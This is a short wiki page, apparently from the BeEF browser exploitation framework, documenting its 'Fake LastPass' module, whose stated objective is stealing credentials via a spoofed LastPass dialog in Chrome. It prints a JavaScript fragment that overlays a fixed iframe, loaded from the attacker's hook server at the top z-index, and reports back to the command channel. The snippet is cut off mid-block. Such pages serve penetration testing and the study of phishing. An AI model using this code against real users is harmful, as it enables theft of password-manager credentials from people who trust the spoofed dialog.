Clone
Module: Fake LastPass
Haoxi Tan edited this page 2020-01-07 09:37:31 +10:00

Summary

  • Objective: Steal credentials via fake LastPass popup

  • Authors: xntrik, gcattani

  • Browsers: Chrome

  • Code

Internal Working

This module displays a fake LastPass user dialog via iFrame to steal credentials. The pages are hosted on the beef server.

if (beef.browser.isC()) {
    beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'294px','height':'352px','position':'fixed','right':'5px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'});
    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages');

Feedback